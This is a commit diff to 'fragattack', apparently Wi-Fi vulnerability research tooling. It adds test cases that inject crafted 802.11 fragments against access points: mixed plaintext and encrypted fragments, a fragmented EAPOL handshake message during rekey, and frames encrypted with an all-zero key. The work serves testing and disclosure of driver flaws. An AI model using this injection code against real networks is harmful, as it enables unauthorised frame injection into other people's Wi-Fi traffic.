fragattack: two split fragments against Aruba AP

This commit is contained in:
Mathy 2020-04-19 20:15:44 -04:00 committed by Mathy Vanhoef
parent d297a57df1
commit f612f6e6e3

View File

@ -109,7 +109,7 @@ class Action():
# Reconnect: force a reconnect
GetIp, Rekey, Reconnect, Roam, Inject, Func = range(6)
def __init__(self, trigger, action=Inject, func=None, enc=False, frame=None, inc_pn=1, delay=None, wait=None):
def __init__(self, trigger, action=Inject, func=None, enc=False, frame=None, inc_pn=1, delay=None, wait=None, key=None):
self.trigger = trigger
self.action = action
self.func = func
@ -129,6 +129,7 @@ class Action():
self.inc_pn = inc_pn
self.delay = delay
self.frame = frame
self.key = key
def get_action(self):
return self.action
@ -406,6 +407,100 @@ class QcaDriverTest(Test):
self.actions[3].frame = frames1[1]
class QcaTestSplit(Test):
"""
Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag,
and both forwarded when all fragments are collected. But when sending
[Encrypted, plaintext] and [plaintext, encrypted] the two encrypted fragments
are not reassembled. So we cannot this this trick.
"""
def __init__(self, ptype):
super().__init__([Action(Action.Connected, Action.GetIp),
Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext)
Action(Action.Connected, enc=True, inc_pn=5), # 105
Action(Action.Connected, enc=True, inc_pn=-1), # 104
Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext)
self.ptype = ptype
self.check_fn = None
def check(self, p):
if self.check_fn == None:
return False
return self.check_fn(p)
def generate(self, station):
log(STATUS, "Generating QCA driver test", color="green")
# Generate the header and payload
header1, request1, self.check_fn = generate_request(station, self.ptype, prior=2)
header2, request2, self.check_fn = generate_request(station, self.ptype, prior=2)
header1.SC = 10 << 4
header2.SC = 10 << 4
# Generate all the individual (fragmented) frames
frames1 = create_fragments(header1, request1 / Raw(b"1"), 2)
frames2 = create_fragments(header2, request2 / Raw(b"2"), 2)
self.actions[0].frame = frames1[0]
self.actions[1].frame = frames2[1] # hopefully dropped
self.actions[2].frame = frames2[0] # hopefully dropped
self.actions[3].frame = frames1[1]
self.actions[0].frame.TID = 2
self.actions[1].frame.TID = 2
self.actions[2].frame.TID = 2
self.actions[3].frame.TID = 2
#self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff"
class QcaDriverRekey(Test):
def __init__(self, ptype):
super().__init__([Action(Action.Connected, Action.GetIp), # Get IP
Action(Action.Connected, Action.Rekey), # Wait for rekey
Action(Action.BeforeAuth, enc=True, inc_pn=2), # Inject first fragment ping
Action(Action.BeforeAuth, func=self.fragment_msg4), # Fragment Msg4
Action(Action.BeforeAuth, enc=True, inc_pn=-2), # Inject first fragment Msg4
Action(Action.BeforeAuth, enc=True, inc_pn=1), # Inject second fragment Msg4
Action(Action.AfterAuth, enc=True, inc_pn=2)]) # Inject second fragment ping
self.ptype = ptype
self.check_fn = None
def fragment_msg4(self, station, eapol):
header = station.get_header(prior=4)
header.SC = 10 << 4
payload = LLC()/SNAP()/eapol
frags = create_fragments(header, payload, 2)
# All Connected and BeforeAuth actions have been popped by now
self.actions[0].frame = frags[0]
self.actions[1].frame = frags[1]
# Prevent Station code from sending the EAPOL frame
return True
def check(self, p):
if self.check_fn == None:
return False
return self.check_fn(p)
def generate(self, station):
log(STATUS, "Generating QCA driver test", color="green")
# Generate the header and payload
header, request, self.check_fn = generate_request(station, self.ptype, prior=2)
header.SC = 20 << 4
# Generate all the individual (fragmented) frames
frames = create_fragments(header, request, 2)
# All Connected actions have been popped by now
self.actions[0].frame = frames[0]
self.actions[4].frame = frames[1]
# ----------------------------------- Abstract Station Class -----------------------------------
class Station():
@ -533,9 +628,12 @@ class Station():
self.set_header(header, prior=prior, **kwargs)
return header
def encrypt(self, frame, inc_pn=1):
def encrypt(self, frame, inc_pn=1, force_key=None):
self.pn += inc_pn
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
if force_key == 0:
log(STATUS, "Encrypting with all-zero key")
key = b"\x00" * len(key)
encrypted = encrypt_ccmp(frame, key, self.pn, keyid)
return encrypted
@ -557,6 +655,8 @@ class Station():
return self.peermac
def trigger_eapol_events(self, eapol):
result = None
key_type = eapol.key_info & 0x0008
key_ack = eapol.key_info & 0x0080
key_mic = eapol.key_info & 0x0100
@ -567,23 +667,25 @@ class Station():
# Inject any fragments before authenticating
if not self.txed_before_auth:
log(STATUS, "Action.StartAuth", color="green")
self.perform_actions(Action.StartAuth)
result = self.perform_actions(Action.StartAuth, eapol=eapol)
self.txed_before_auth = True
self.txed_before_auth_done = False
# Inject any fragments when almost done authenticating
elif is_msg3_or_4 and not self.txed_before_auth_done:
log(STATUS, "Action.BeforeAuth", color="green")
self.perform_actions(Action.BeforeAuth)
result = self.perform_actions(Action.BeforeAuth, eapol=eapol)
self.txed_before_auth_done = True
self.txed_before_auth = False
self.time_connected = None
return result
def handle_eapol_tx(self, eapol):
eapol = EAPOL(eapol)
self.trigger_eapol_events(eapol)
send_it = self.trigger_eapol_events(eapol)
if send_it == None:
# - Send over monitor interface to assure order compared to injected fragments.
# - This is also important because the station might have already installed the
# key before this script can send the EAPOL frame over Ethernet (but we didn't
@ -592,7 +694,8 @@ class Station():
# the EAPOL frame by the Wi-Fi chip.
self.send_mon(eapol)
def perform_actions(self, trigger):
def perform_actions(self, trigger, **kwargs):
result = None
if self.test == None:
return
@ -600,15 +703,16 @@ class Station():
while self.test.next_trigger_is(trigger):
act = self.test.next_action(self)
# TODO: Previously scheduled Connected on AfterAuth should be cancelled??
if act.action == Action.GetIp and not self.obtained_ip:
self.waiting_on_ip = True
self.daemon.get_ip(self)
break
elif act.action == Action.Func:
log(STATUS, "[Executing Function]")
if act.func(self) != None:
break
result = act.func(self, **kwargs)
log(STATUS, "[Executed Function] Result=" + str(result))
# TODO: How to collect multiple results on one trigger?
elif act.action == Action.Rekey:
# Force rekey as AP, wait on rekey as client
@ -632,8 +736,8 @@ class Station():
if act.encrypted:
assert self.tk != None and self.gtk != None
frame = self.encrypt(act.frame, inc_pn=act.inc_pn)
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
log(STATUS, "Encrypting with key " + self.tk.hex() + " " + repr(frame))
frame = self.encrypt(act.frame, inc_pn=act.inc_pn, force_key=act.key)
else:
frame = act.frame
@ -655,6 +759,8 @@ class Station():
self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
return result
def handle_authenticated(self):
"""Called after completion of the 4-way handshake or similar"""
self.tk = self.daemon.get_tk(self)
@ -962,7 +1068,7 @@ class Supplicant(Daemon):
else:
self.send_dhcp_request(self.dhcp_offer_frame)
self.time_retrans_dhcp = time.time() + 1
self.time_retrans_dhcp = time.time() + 2.5
def rekey(self, station):
# WAG320N: does not work (Broadcom - no reply)
@ -979,6 +1085,7 @@ class Supplicant(Daemon):
def time_tick(self):
if self.time_retrans_dhcp != None and time.time() > self.time_retrans_dhcp:
log(WARNING, "Retransmitting DHCP message", color="orange")
self.get_ip(self)
self.station.time_tick()
@ -1026,7 +1133,7 @@ class Supplicant(Daemon):
clientip = p[BOOTP].yiaddr
serverip = p[IP].src
self.time_retrans_dhcp = None
log(STATUS, f"Received DHCP ack. My ip is {clientip} and router is {serverip}.")
log(STATUS, f"Received DHCP ack. My ip is {clientip} and router is {serverip}.", color="green")
self.initialize_peermac(p.src)
self.initialize_ips(clientip, serverip)
@ -1110,9 +1217,15 @@ def cleanup():
daemon.stop()
def prepare_tests(test_name):
if test_name == "qca_driver":
if test_name == "qca_test":
test = QcaDriverTest(REQ_ICMP)
elif test_name == "qca_split":
test = QcaTestSplit(REQ_ICMP)
elif test_name == "qca_rekey":
test = QcaDriverRekey(REQ_ICMP)
elif test_name == "ping":
# Simple ping as sanity check
test = PingTest(REQ_ARP,
@ -1221,7 +1334,7 @@ if __name__ == "__main__":
# Parse remaining options
global_log_level -= args.debug
# Now start the tests
# Now start the tests --- TODO: Inject Deauths before connecting with client...
if args.ap:
daemon = Authenticator(options)
else: